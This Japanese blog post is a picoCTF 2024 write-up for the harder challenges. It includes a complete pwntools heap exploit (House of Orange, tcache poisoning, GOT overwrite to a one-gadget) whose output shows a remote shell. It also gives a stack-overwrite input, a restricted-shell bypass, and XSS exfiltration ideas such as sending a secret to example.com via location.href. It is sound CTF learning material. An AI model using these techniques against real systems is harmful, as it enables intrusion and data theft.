2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

picoCTF 2024 writeup(400点以上の問題のみ)

Last updated at Posted at 2024-03-30

13位。1問だけ解けなかった。

2週間のコンテスト。教育目的が強い感じで基本的には簡単な問題が多い。しかし、最後の数問はかなり難しい。こういう難しい問題を2週間という時間でじっくり解くのもなかなか楽しい。

image.png

Binary Exploitation

babygame03 (400 points)

$ ./game

Player position: 4 4
Level: 1
End tile position: 29 89
Lives left: 50
#.........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
....@.....................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
.........................................................................................X

ゲーム画面はこんな感じで、 @ が自キャラで # が障害物、 x がゴール。

Ghidraで解析。 wasd が移動。 p でゴールまで自動的に進む。l? で自キャラの文字を ? で指定した文字にできる。1歩ごとにライフが減って、0になるとゲームオーバー。ゴールに到達するごとにレベルが上がり、レベルが4でゴールに到達するとクリア。

そもそも、ライフが足りなくてレベル1すらクリアできない。

上下左右の判定が無いので、左端から抜けると1段上の右端に出てくる。これでゴールに到達はできるがクリアにはならない。ややこしいが、盤面を描画し、「Player position」は盤面から求めている。「Player position」の表示はゴールの座標になっても、内部的にはマイナスなどの座標になっており、ゴールの判定はこの内部の座標で行っている。

上端にも判定が無い。ゲームの盤面の上には、レベルやライフなどの変数がある。ここを自キャラで上書きすることにより、ライフを大きな値にできる。ということで、

aaaaaaaawwwwssssp

でクリアできる。ライフを書き換えた後に ssss で下に戻っているのは、 p の自動移動で壁に当たってしまうのを避けるため。

しかし、これを繰り返してもクリアできない。処理は次のようになっている。

game.cpp
 :
int main()
{
 :
    int level1 = 1;
    int level2 = 0;
    init_map(...);
    print_map(...);
    do
    {
        move_player(getchar(), ...);
        print_map(...);
        if (y==29 && x==89 && level1!=4)
        {
            puts("You win!\n Next level starting ");
            level1++;
            level2++;
            init_player(...);
            init_map(...);
        }
    }
    while (y!=29 || x!=89 || level1!=5 || level2!=4);
    win(&level1);
}
 :
void win(int *level)
{
    FILE *f = fopen("flag.txt", "r");
 :
    char flag[60];
    fgets(flag, 60, f);
    if (*level==5)
        printf(flag);
}

レベルを表す変数が複数あって謎。外側のループを抜けるには level1==5 となる必要があるが、その前の leel==4 のときにはゴールに到達しても内側の if の中に行かない。また、 win の中で、フラグを読み込んでから出力までの間に再度 level1 をチェックしている。

l で自キャラの文字を変えてレベルの部分を上書きすれば良さそうだが、書き換えた後、ゴールに移動しようとすると、 . で上書きされてしまう。

ということで、 move_player から戻るときのリターンアドレスを書き換える。フィールド外に移動するときの上書きが起こるのは move_player の中。

  1. レベル4まで上げる
  2. リターンアドレスを書き換えて puts("You win! のあたりに飛んでレベルを上げる
  3. 再度リターンアドレスを書き換えて、 win ところに飛ぶ

3のときにはスタックがずれていることに注意。

aaaaaaaawwwwssssp
aaaaaaaawwwwssssp
aaaaaaaawwwwssssp
aaaaaaaawwwwssssaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaawwwlpw
aaaaaaaawwwwssssaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaawwwl[0xFE]w

でクリアできる。 [\xFE] のところはバイナリエディタで書いた。

picoCTF{gamer_leveluP_84600233}

high frequency troubles (500 points)

main.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

enum
{
    PKT_OPT_PING,
    PKT_OPT_ECHO,
    PKT_OPT_TRADE,
} typedef pkt_opt_t;

enum
{
    PKT_MSG_INFO,
    PKT_MSG_DATA,
} typedef pkt_msg_t;

struct
{
    size_t sz;
    uint64_t data[];
} typedef pkt_t;

const struct
{
    char *header;
    char *color;
} type_tbl[] = {
    [PKT_MSG_INFO] = {"PKT_INFO", "\x1b[1;34m"},
    [PKT_MSG_DATA] = {"PKT_DATA", "\x1b[1;33m"},
};

void putl(pkt_msg_t type, char *msg)
{
    printf("%s%s\x1b[m:[%s]\n", type_tbl[type].color, type_tbl[type].header, msg);
}

// gcc main.c -o hft -g
int main()
{
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);

    putl(PKT_MSG_INFO, "BOOT_SQ");

    for (;;)
    {
        putl(PKT_MSG_INFO, "PKT_RES");

        size_t sz = 0;
        fread(&sz, sizeof(size_t), 1, stdin);

        pkt_t *pkt = malloc(sz);
        pkt->sz = sz;
        gets(&pkt->data);

        switch (pkt->data[0])
        {
        case PKT_OPT_PING:
            putl(PKT_MSG_DATA, "PONG_OK");
            break;
        case PKT_OPT_ECHO:
            putl(PKT_MSG_DATA, (char *)&pkt->data[1]);
            break;
        default:
            putl(PKT_MSG_INFO, "E_INVAL");
            break;
        }
    }

    putl(PKT_MSG_INFO, "BOOT_EQ");
}

malloc問題。PIEもFull RELOも有効。脆弱性はヒープバッファオーバーフロー。 free が無いというのが特徴。

free が無いと何もできなさそうなものだが、House of Orangeという技がある。

topチャンクのサイズを小さく改竄し、topを拡張したくなるようなサイズを確保する。mallocは sbrk でtopを拡張する。このとき、topのチャンクサイズを改竄したことにより、mallocからは元のtopチャンクの部分が自分のものではないように見える。そうすると、topチャンクに余りが発生し、これが free で解放した場合と同様に各binに格納される。

libcのバージョンが2.35なのが厳しい。 __free_hook は無くなったし、tcacheの fdfd のアドレスとのxorで難読化される。FILE にも色々と対策が入っているだろう。この問題の場合は、リークできるのが fd ではなく fd_nextsize というのも面倒。

試行錯誤して、結局こうなった。「解放してbinに入れる」は、実際には上記のtopチャンクを上書きする方法。

  1. 適当に大きなサイズのチャンク1を解放してunsortedに入れる
  2. チャンク1を良い感じのサイズで取得すると、一度largeに入ったあとに取り出されて、 fd_nextsize にはヒープのアドレスが入っている
    • 良い感じのサイズというのは、ピッタリ同じサイズではないが、余りが個別のチャンクにはできないくらいに小さくなるサイズ
  3. サイズ0x30のチャンク2をtcacheに入れる
  4. サイズ0x40のチャンク3をtcacheに入れる
  5. サイズ0x30のチャンク4をtcacheに入れる
  6. サイズ0x50のチャンク5をtcacheに入れる
  7. サイズ0x60のチャンク6をtcacheに入れる
  8. サイズ0x50のチャンク7をtcacheに入れる
  9. 適当に大きなサイズのチャンク8をunsortedに入れる
  10. 適当に大きなサイズのチャンクを確保する
    • これでチャンク8がlargeに入る
    • unsortedのままだとチャンク8を壊したときに困るので
  11. チャンク3を確保し、このときのヒープバッファオーバフローで、チャンク4の fd がチャンク8の少し前を指すようにする
    • チャンク8の fd を読むため
    • ここでチャンク4の fd を書き換えるために、ヒープのアドレスが必要
  12. チャンク4を確保する
  13. サイズ0x30のチャンクを確保しようとすると、チャンク2……ではなくチャンク8の少し前が確保され、libcのアドレスが得られる
    • 最近のtcacheは個数で管理されるようになったので、チャンク2を入れて個数を2個にしておかないといけない
  14. チャンク6を確保し、このときのヒープバッファオーバフローで、チャンク7の fd がlibcのGOTを指すようにする
  15. チャンク7を確保する
  16. サイズ0x50のチャンクを確保しようとすると、チャンク5……ではなく、libcのGOTのアドレスが返ってくるので、one gadget RCEに書き換える
  17. 直後の printf の中で書き換えたGOTが参照されて、one gadget RCEに飛ぶ
attack.py
from pwn import *

#context.log_level = "debug"
context.arch = "amd64"

#s = remote("localhost", 7777)
s = remote("tethys.picoctf.net", 61152)

def send(size, data):
    s.sendafter(b"[PKT_RES]\n", pack(size))
    s.sendline(data)

# unsorted
send(0x10, pack(0)+pack(0)+pack(0xd51))
send(0x1000, pack(0))

# unsorted -> large & get
send(0xd10, pack(1)[:-1])
s.recvuntil(b"PKT_DATA\x1b[m:[")
heap = unpack(s.recv(6)+b"\0\0")-0x2b0
print(f"heap: {heap:08x}")

# tcache (0x30)
send(0xf70, pack(0))
send(0x10, pack(0)+pack(0)+pack(0x51))
send(0x1000, pack(0))

# tcache (0x40)
send(0xf60, pack(0))
send(0x10, pack(0)+pack(0)+pack(0x61))
send(0x1000, pack(0))

# tcache (0x30) (chunk_1)
send(0xf70, pack(0))
send(0x10, pack(0)+pack(0)+pack(0x51))
send(0x1000, pack(0))

# tcache (0x50)
send(0xf50, pack(0))
send(0x10, pack(0)+pack(0)+pack(0x71))
send(0x1000, pack(0))

# tcache (0x60)
send(0xf40, pack(0))
send(0x10, pack(0)+pack(0)+pack(0x81))
send(0x1000, pack(0))

# tcache (0x50) (chunk_2)
send(0xf50, pack(0))
send(0x10, pack(0)+pack(0)+pack(0x71))
send(0x1000, pack(0))

# unsorted (chunk_3)
send(0x10, pack(0)+pack(0)+pack(0xfd1))
send(0x1000, pack(0))

# unsorted -> large (chunk_3)
send(0x1000, pack(0))

# chunk_1->fd = chunk_3
send(0x30, pack(0)+bytes(0x21ff8)+
    pack(0x31)+
    pack((heap+0x66fc0)>>12^(heap+0xee030)))

send(0x20, pack(0))
send(0x20, pack(1)[:-1])
s.recvuntil(b"PKT_DATA\x1b[m:[")
libc = unpack(s.recv(6)+b"\0\0")-0x21a2f0
print(f"libc: {libc:08x}")

# chunk_2->fd = GOT ???
send(0x50, pack(0)+bytes(0x21ff8)+
    pack(0x51)+
    pack((heap+0xccfa0)>>12^(libc+0x219098-0x8)))

# GOT ??? = one_gadget
send(0x40, pack(0))
send(0x40, pack(libc+0xebcf5))

s.interactive()

書き換えるGOTと使うone gadget RCEは、デバッガで動かして条件を満たすものを探した。

$ python3 attack.py
[+] Opening connection to tethys.picoctf.net on port 61152: Done
heap: 55b6535b7000
libc: 7fdf2df23000
[*] Switching to interactive mode
$ ls -al
total 3148
drwx------ 1 root root      78 Mar  9 16:38 .
drwxr-xr-x 1 root root      17 Mar 20 11:29 ..
-rw-r--r-- 1 root root     624 Feb  7 17:25 Makefile
-rw-r--r-- 1 root root  957622 Mar  9 16:38 artifacts.tar.gz
-rw-r--r-- 1 root root      30 Mar  9 16:38 flag.txt
-rwxr-xr-x 1 root root   21688 Mar  9 16:38 hft
-rwxr-xr-x 1 root root 2216304 Feb  7 17:25 libc.so.6
-rw-r--r-- 1 root root    1264 Feb  7 17:25 main.c
-rw-r--r-- 1 root root      41 Mar  9 16:38 metadata.json
-rw-r--r-- 1 root root      81 Feb  7 17:25 profile
$ cat flag.txt
picoCTF{mm4p_mm4573r_4d56d200}

フラグにmmapと書かれているし、ヒントにも

allocate a size greater than mp_.mmap_threshold

と書かれていた。結局mmapは使っていない。すごく面倒だったけど、mmapを使う楽な方法があったのかな。mmapはTLS(thread local storage)用のページの直前が確保されるから、TLSが改竄できるのだけど、使い道が思いつかなかった。

picoCTF{mm4p_mm4573r_4d56d200}

Cryptography

flag_printer (500 points)

遅い処理があるから高速化してくださいという問題。

flag_printer.py
import galois
import numpy as np
MOD = 7514777789

points = []

for line in open('encoded.txt', 'r').read().strip().split('\n'):
    x, y = line.split(' ')
    points.append((int(x), int(y)))

GF = galois.GF(MOD)

matrix = []
solution = []
for point in points:
    x, y = point
    solution.append(GF(y % MOD))

    row = []
    for i in range(len(points)):
        row.append(GF((x ** i) % MOD))
    
    matrix.append(GF(row))

open('output.bmp', 'wb').write(bytearray(np.linalg.solve(GF(matrix), GF(solution)).tolist()[:-1]))
\begin{pmatrix}
   0^0 & 0^1 & 0^2 & \cdots \\
   1^0 & 1^1 & 1^2 & \cdots \\
   2^0 & 2^1 & 2^2 & \cdots \\
   \vdots & \vdots & \vdots &\ddots
\end{pmatrix}
\begin{pmatrix}
   x_0 \\
   x_1 \\
   x_2 \\
   \vdots
\end{pmatrix}
=
\begin{pmatrix}
   y_0 \\
   y_1 \\
   y_2 \\
   \vdots
\end{pmatrix}
\ \mod 7,514,777,789

この式における $y_0$, $y_1$, $y_2$, $\dots$ が与えられるので、$x_0$, $x_1$, $x_2$, …を求める。

(x ** i) % MODpow(x, i, MOD) にすると速くなるけれど、焼け石に水。普通に計算すると $O\left(n^3\right)$ のところ、 $n=1,769,610$ 。

見方を変えると、

f(x) = a_0 x^0 + a_1 x^1 + a_2 x^2 + \dots

に対して、 $f(0)=y_0$, $f(1)=y_1$, $f(2)=y_2$, …が与えられて、 $a_0$, $a_1$, $a_2$, …を求める問題になる。多項式補間。ニュートン補間という方法が良いらしい。

$O\left(n^2\right)$ っぽい。$O\left(n^3\right)$ よりはマシだけど、 $n=1,769,610$ か……。

SageMathに関数があるので書いてみる。

solve.sage
g = GF(7514777789)

P = []
for line in open("encoded.txt").read().strip().split("\n"):
    x, y = map(g, line.split(" "))
    P += [(x, y)]

R = PolynomialRing(g, "x")
f = R.lagrange_polynomial(P, "neville")

bmp = b""
for i in range(len(P)):
    bmp += bytes([f[i]])
open("output.bmp", "wb").write(bmp)

lagrange_polynomial のデフォルトだとメモリが足りなかったので、省メモリらしい "neville" にした。終わらん……。

自前でPythonで書いて、進捗状況を表示してみた。1-2週間くらい掛かりそうなスピード。コンテスト期間が長いからギリギリ間に合うかもしれないが……。

出力がビットマップ。全ての画素が分からなくても読めそうだけど、一部の画素のみを求めるのは難しそう。

ということで、C++で書き直した。 MOD が32ビットよりちょっと大きくて、64ビット整数では計算しきれないのが一手間。

solve.cpp
#include <iostream>
#include <vector>
#include <cstdint>
using namespace std;

//  a^b % m
__int128_t powmod(__int128_t a, __int128_t b, __int128_t m)
{
    __int128_t r = 1;
    for (; b>0; b>>=1, a=a*a%m)
        if (b&1)
            r = r*a%m;
    return r;
}

int main()
{
    const long long MOD = 7514777789LL;

    vector<long long> Y;
    while (true)
    {
        long long t, y;
        if (cin>>t>>y)
            Y.push_back(y);
        else
            break;
    }
    int n = (int)Y.size();

    vector<long long> T = Y;
    vector<long long> DD;
    DD.push_back(T[0]);
    for (int i=1; i<n; i++)
    {
        if (i%1000==0)
            cerr<<"step 1: "<<i<<"/"<<n<<endl;
        vector<long long> P(n-i);
        P.swap(T);
        for (int j=0; j<n-i; j++)
        {
            T[j] = P[j+1]-P[j];
            if (T[j]<0)
                T[j] += MOD;
            if (T[j]>=MOD)
                T[j] -= MOD;
        }
        DD.push_back(T[0]);
    }

    long long d = 1;
    for (int i=0; i<n; i++)
    {
        DD[i] = (long long)(__int128_t(DD[i])*powmod(d, MOD-2, MOD)%MOD);
        d = d*(i+1)%MOD;
    }

    vector<long long> ans(n);
    vector<long long> C(n+1);
    C[0] = 1;
    for (int i=0; i<n; i++)
    {
        if (i%1000==0)
            cerr<<"step 3: "<<i<<"/"<<n<<endl;

        for (int j=0; j<i+1; j++)
            ans[j] += (long long)(__int128_t(C[j])*DD[i]%MOD);
        for (int j=i+1; j>0; j--)
            C[j] = (C[j-1]-i*C[j])%MOD;
        C[0] = C[0]*i%MOD;
    }
    for (int i=0; i<n; i++)
        ans[i] = (ans[i]%MOD+MOD)%MOD;

    //for (long long a: ans)
    //    cout<<a<<endl;

    for (long long a: ans)
        cout<<char(a);
}

半日くらいで終わった。

image.png

https://web.williams.edu/Mathematics/lg5/Rota.pdf

数式はフーリエ変換。 $O\left(n \log n\right)$ で解けたりするのか……?

picoctf{i_do_hope_you_used_the_favorite_algorithm_of_every_engineering_student}

Forensics

Dear Diary (400 points)

ディスクイメージの解析。

If you can find the flag on this disk image, we can close the case for good!

と言われてもな……。全然分からん。

結局、バイナリエディタで開いて innocuous と検索し、近くにある文字を拾って繋げたらフラグになった。

image.png

image.png

image.png

たぶん、innocuous-file.txt と同じディレクトリにある its-all-in-the-name というファイルの名前が変えられていて、古いディレクトリの情報が残っているのだと思う。ファイル名の変更履歴はフォレンジックに重要だろうけど、何かのソフトで見られたりするのだろうか。

picoCTF{1_533_n4m35_80d24b30}

General Skills

SansAlpha (400 points)

指定されたサーバーにSSHで繋ぐと、シェルが出てくる。 SansAlpha: Unknown character detected ばかりで何が何やら……と思ったら、記号と数字だけしか使えないシェルだった。

記号だけでもいけるのだから、加えて数字が使える分楽なはず。要は、エラーメッセージから適当な文字列を変数に入れ、そこから文字を取り出してコマンドを組み立てれば良いっぽい。

. でエラーメッセージが標準エラー出力に出る。

$ .
bash: .: filename argument required
.: usage: . filename [arguments]

&>/???/??/1%>/dev/fd/1 と同じことで、標準エラー出力を標準出力にリダイレクト。それを __ に入れる。

$ __=$(.&>/???/??/1)

${__##.*}$__ の最後の . より前が削除される。元の記事だと、環境差異を吸収するためにやっているのだろうから、やらなくても良かった気がするな。

$ __=${__##*.}
$ echo $__
filename [arguments]

これで、 filename [arguments] に含まれる文字は使える。 ${__:3:1}${__:19:1}ls

SansAlpha$ ${__:3:1}${__:19:1} *
on-calastran.txt

blargh:
flag.txt  on-alpha-9.txt

cat のために c が欲しい。 command not found で良いだろう。

$ ___=$(1&>/???/??/1)
$ echo $___
1: command not found

これで cat ができる。

$ echo ${___:3:1}${__:11:1}${__:18:1}
cat
SansAlpha$ ${___:3:1}${__:11:1}${__:18:1} */*
return 0 picoCTF{7h15_mu171v3r53_15_m4dn355_145256ec}Alpha-9, a distinctive layer within the Calastran multiverse, stands as a
sanctuary realm offering individuals a rare opportunity for rebirth and
 :

picoCTF{7h15_mu171v3r53_15_m4dn355_145256ec}

Reverse Engineering

WinAntiDbg0x300 (500 points)

Windowsの実行可能ファイル解析シリーズの最後。

UPXで圧縮されていたから解答して、後は x64dbg (の32ビット版)で条件分岐を書き換えたりしていたらフラグが見えた。

picoCTF{Wind0ws_antid3bg_0x300_da7fdd01}

Web Exploitation

elements (500 points)

これが解けなかった。悔しい。

image.png

最初はFireとWater、Earth、Airしかない。EarthとWaterを組み合わせるとMudができる。MudとFireでBrickができる。……と素材を組み合わせると新たな素材ができていく。

元ネタ。

ちょっと楽しい。

最終的にXSSが作れると、 eval(state.xss) が実行される。作る手順と state.xss をサーバーで動くChromiumに送れるので……という感じ。

組み合わせが大量にあるから、Graphvizで可視化してみる。

recipes = [["Ash","Fire","Charcoal"],["Steam Engine","Water","Vapor"],["Brick Oven","Heat Engine","Oven"],["Steam Engine","Swamp","Sauna"],["Magma","Mud","Obsidian"],["Earth","Mud","Clay"],["Volcano","Water","Volcanic Rock"],["Brick","Fog","Cloud"],["Obsidian","Rain","Black Rain"],["Colorful Pattern","Fire","Rainbow Fire"],["Cloud","Obsidian","Storm"],["Ash","Obsidian","Volcanic Glass"],["Electricity","Haze","Static"],["Fire","Water","Steam"],["Dust","Rainbow","Powder"],["Computer Chip","Steam Engine","Artificial Intelligence"],["Fire","Mud","Brick"],["Hot Spring","Swamp","Sulfur"],["Adobe","Graphic Design","Web Design"],["Colorful Interface","Data","Visualization"],["IoT","Security","Encryption"],["Colorful Pattern","Mosaic","Patterned Design"],["Earth","Steam Engine","Excavator"],["Cloud Computing","Data","Data Mining"],["Earth","Water","Mud"],["Brick","Fire","Brick Oven"],["Colorful Pattern","Obsidian","Art"],["Rain","Steam Engine","Hydropower"],["Colorful Display","Graphic Design","Colorful Interface"],["Fire","Mist","Fog"],["Exploit","Web Design","XSS"],["Computer Chip","Hot Spring","Smart Thermostat"],["Earth","Fire","Magma"],["Air","Earth","Dust"],["Cloud","Rainbow","Rainbow Cloud"],["Dust","Heat Engine","Sand"],["Obsidian","Thunderstorm","Lightning Conductor"],["Cloud","Rain","Thunderstorm"],["Adobe","Cloud","Software"],["Hot Spring","Rainbow","Colorful Steam"],["Dust","Fire","Ash"],["Cement","Swamp","Marsh"],["Hot Tub","Mud","Mud Bath"],["Electricity","Glass","Computer Chip"],["Ceramic","Fire","Earthenware"],["Haze","Swamp","Fog Machine"],["Rain","Rainbow","Colorful Display"],["Brick","Water","Cement"],["Dust","Haze","Sandstorm"],["Ash","Hot Spring","Geothermal Energy"],["Ash Rock","Heat Engine","Mineral"],["Electricity","Software","Program"],["Computer Chip","Fire","Data"],["Colorful Pattern","Swamp","Algae"],["Fog","Water","Rain"],["Rainbow Pool","Reflection","Color Spectrum"],["Artificial Intelligence","Data","Encryption"],["Internet","Smart Thermostat","IoT"],["Cinder","Heat Engine","Ash Rock"],["Brick","Swamp","Mudbrick"],["Computer Chip","Volcano","Data Mining"],["Obsidian","Water","Hot Spring"],["Computer Chip","Thunderstorm","Power Surge"],["Brick","Obsidian","Paving Stone"],["User Input","Visualization","Interactive Design"],["Mist","Mud","Swamp"],["Geolocation","Wall","Map"],["Air","Rock","Internet"],["Computer Chip","Rain","Email"],["Fire","Rainbow","Colorful Flames"],["Hot Spring","Mineral Spring","Healing Water"],["Ceramic","Volcano","Lava Lamp"],["Brick Oven","Wall","Fireplace"],["Glass","Software","Vulnerability"],["Fog","Mud","Sludge"],["Fire","Marsh","S'mores"],["Artificial Intelligence","Data Mining","Machine Learning"],["Ash","Brick","Brick Kiln"],["Fire","Obsidian","Heat Resistant Material"],["Hot Spring","Sludge","Steam Engine"],["Artificial Intelligence","Computer Chip","Smart Device"],["Fire","Steam Engine","Heat Engine"],["Ash","Earth","Cinder"],["Rainbow","Reflection","Refraction"],["Encryption","Software","Cybersecurity"],["Graphic Design","Mosaic","Artwork"],["Colorful Display","Data Mining","Visualization"],["Hot Spring","Water","Mineral Spring"],["Rainbow","Swamp","Reflection"],["Air","Fire","Smoke"],["Program","Smart HVAC System","Smart Thermostat"],["Haze","Obsidian","Blackout"],["Brick","Earth","Wall"],["Heat Engine","Steam Locomotive","Railway Engine"],["Ash","Thunderstorm","Volcanic Lightning"],["Mud","Water","Silt"],["Colorful Pattern","Hot Spring","Rainbow Pool"],["Fire","Sand","Glass"],["Art","Web Design","Graphic Design"],["Internet","Machine Learning","Smart HVAC System"],["Electricity","Power Surge","Overload"],["Colorful Pattern","Computer Chip","Graphic Design"],["Air","Water","Mist"],["Brick Oven","Cement","Concrete"],["Artificial Intelligence","Cloud","Cloud Computing"],["Computer Chip","Earth","Geolocation"],["Color Spectrum","Graphic Design","Colorful Interface"],["Internet","Program","Web Design"],["Computer Chip","Overload","Circuit Failure"],["Data Mining","Geolocation","Location Tracking"],["Heat Engine","Smart Thermostat","Smart HVAC System"],["Brick","Mud","Adobe"],["Cloud","Dust","Rainbow"],["Hot Spring","Obsidian","Hot Tub"],["Steam Engine","Volcano","Geothermal Power Plant"],["Earth","Fog","Haze"],["Brick","Steam Engine","Steam Locomotive"],["Brick","Colorful Pattern","Mosaic"],["Hot Spring","Steam Engine","Electricity"],["Ash","Volcano","Volcanic Ash"],["Electricity","Water","Hydroelectric Power"],["Brick","Rainbow","Colorful Pattern"],["Silt","Volcano","Lava"],["Computer Chip","Software","Program"],["Hot Spring","Thunderstorm","Lightning"],["Ash","Clay","Ceramic"],["Cybersecurity","Vulnerability","Exploit"],["Ash","Heat Engine","Ash Residue"],["Internet","Smart Device","Cloud Computing"],["Magma","Mist","Rock"],["Interactive Design","Program","Smart Device"],["Computer Chip","Electricity","Software"],["Colorful Pattern","Graphic Design","Design Template"],["Fire","Magma","Volcano"],["Earth","Obsidian","Computer Chip"],["Geolocation","Location Tracking","Real-Time Positioning"]]

print("digraph G {")
for recipe in recipes:
    print(f'"{recipe[0]}" -> "{recipe[0]}_{recipe[1]}"')
    print(f'"{recipe[1]}" -> "{recipe[0]}_{recipe[1]}"')
    print(f'"{recipe[0]}_{recipe[1]}" -> "{recipe[2]}"')
print("}")

graphviz.png

てっきり、普通には XSS が作れないのだと思ったけど、XSSまで線は繋がっている。

実際に試してみると、ちょっと悩むところはあるが、この手順で作れる。

["Air","Earth","Dust"],
["Earth","Water","Mud"],
["Fire","Mud","Brick"],
["Air","Water","Mist"],
["Fire","Mist","Fog"],
["Fog","Mud","Sludge"],
["Earth","Fire","Magma"],
["Magma","Mud","Obsidian"],
["Earth","Obsidian","Computer Chip"],
["Computer Chip","Fire","Data"],
["Brick","Fog","Cloud"],
["Obsidian","Water","Hot Spring"],
["Hot Spring","Sludge","Steam Engine"],
["Fire","Steam Engine","Heat Engine"],
["Dust","Heat Engine","Sand"],
["Computer Chip","Steam Engine","Artificial Intelligence"],
["Brick","Mud","Adobe"],
["Artificial Intelligence","Data","Encryption"],
["Fire","Sand","Glass"],
["Hot Spring","Steam Engine","Electricity"],
["Adobe","Cloud","Software"],
["Magma","Mist","Rock"],
["Encryption","Software","Cybersecurity"],
["Glass","Software","Vulnerability"],
["Computer Chip","Software","Program"],
["Air","Rock","Internet"],
["Cybersecurity","Vulnerability","Exploit"],
["Internet","Program","Web Design"],
["Exploit","Web Design","XSS"]

じゃあ後はやるだけかと思いきや、CSPがガチガチ。スクリプトは動かせるが、外に情報を持ち出せないなんてことがあるのか。

画像の読み込みや fetch がCSPで塞がれていても、 location.href = "http://example.com/?"+secret は通るものだと思っていた。--enable-experimental-web-platform-features を有効にすると navigate-to 'none' が使えるようになって、これで locatin.href が塞がれる。へー。

こんな感じに手を加えて、中で動いているChromiumのエラーを外から見られるようにした。後、中のブラウザに渡されているURLも出るようにした。

--- a/index copy.mjs
+++ b/index.mjs
@@ -37,11 +37,16 @@ async function visit(state) {
                        '--disable-gpu',
                        '--no-first-run',
                        '--enable-experimental-web-platform-features',
+                       '--enable-logging=stderr',
                        `http://127.0.0.1:8080/#${Buffer.from(JSON.stringify(state)).toString('base64')}`
                ],
                { detached: true }
        )

+       proc.stderr.on('data', (data) => {
+           console.log(data.toString());
+       });
+
        await sleep(10000);
        try {
                process.kill(-proc.pid)
@@ -50,6 +55,8 @@ async function visit(state) {

        await rm(userDataDir, { recursive: true, force: true, maxRetries: 10 });

+       console.log(`http://127.0.0.1:8080/#${Buffer.from(JSON.stringify(state)).toString('base64')}`)
+
        visiting = false;
 }

色々と試してみたけれど、解けず……。

CSPを正面から破る方針。<meta> のrefreshは弾かれる。<link rel='dns-prefetch' は、手元の --enable-experimental-web-platform-features を有効にしたGoogle Chromeでは動くが、問題の中のブラウザはだめ。WebRTCを使う手があるらしい。が、わざわざChromiumのソースコードを書き換えて RTCPeerConnection を消している。WebRTC関連の他のクラスは見えるものの RTCPeerConnection が使えないとどうしようもない。

Prototype pollutionの方針。ここから、サーバーサイドのprototype pollutionでフラグを盗むという方法だととても面白い。

index.mjs
 :
	} else if (url.pathname === '/remoteCraft') {
		try {
			const { recipe, xss } = JSON.parse(url.searchParams.get('recipe'));
			assert(typeof xss === 'string');
			assert(xss.length < 300);
			assert(recipe instanceof Array);
			assert(recipe.length < 50);
			for (const step of recipe) {
				assert(step instanceof Array);
				assert(step.length === 2);
				for (const element of step) {
					assert(typeof xss === 'string');
					assert(element.length < 50);
				}
			}
			visit({ recipe, xss });
		} catch(e) {
			console.error(e);
			return res.writeHead(400).end('invalid recipe!');
		}
		return res.end('visiting!');
	}
  :
   			for (const element of step) {
   				assert(typeof xss === 'string');
   				assert(element.length < 50);

ここがおかしい。正しくは assert(typeof element === 'string') のはず。どうにかして、例えばフラグの1文字目が p のときだけ、中のブラウザから Object.length を10にするというようなことができると、 外から element として {} を渡して通るかどうかで判別ができる。サーバーを経由して中のブラウザから外に情報が持ち出せる。CSPは "script-src 'unsafe-eval' 'self'" なので、 <script> タグを追加してサーバー側のAPIを叩くことはできる。とはいえ、サーバーサイドにprototype pollutionができそうなところは無い。

負荷を掛ける方針。フラグの文字が特定の文字のときだけ、中のブラウザからサーバー側のAPIを叩きまくったら、他のリクエストの応答が遅くなったりしないかな。人ごとにサーバー側のインスタンスを立てる形式なので許されないかな(下のインスタンスは共有だろうし許されなさそう)。でも、まずは手元で試してみたけど、全く遅くなったりはしない。まあ、基本的にブラウザよりサーバーのほうが強いよね。

答え。

--enable-experimental-web-platform-features によって有効になる機能で情報を持ち出す。なるほど……。このフラグ、 navigate-to のためだけのものではなかったのか。

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?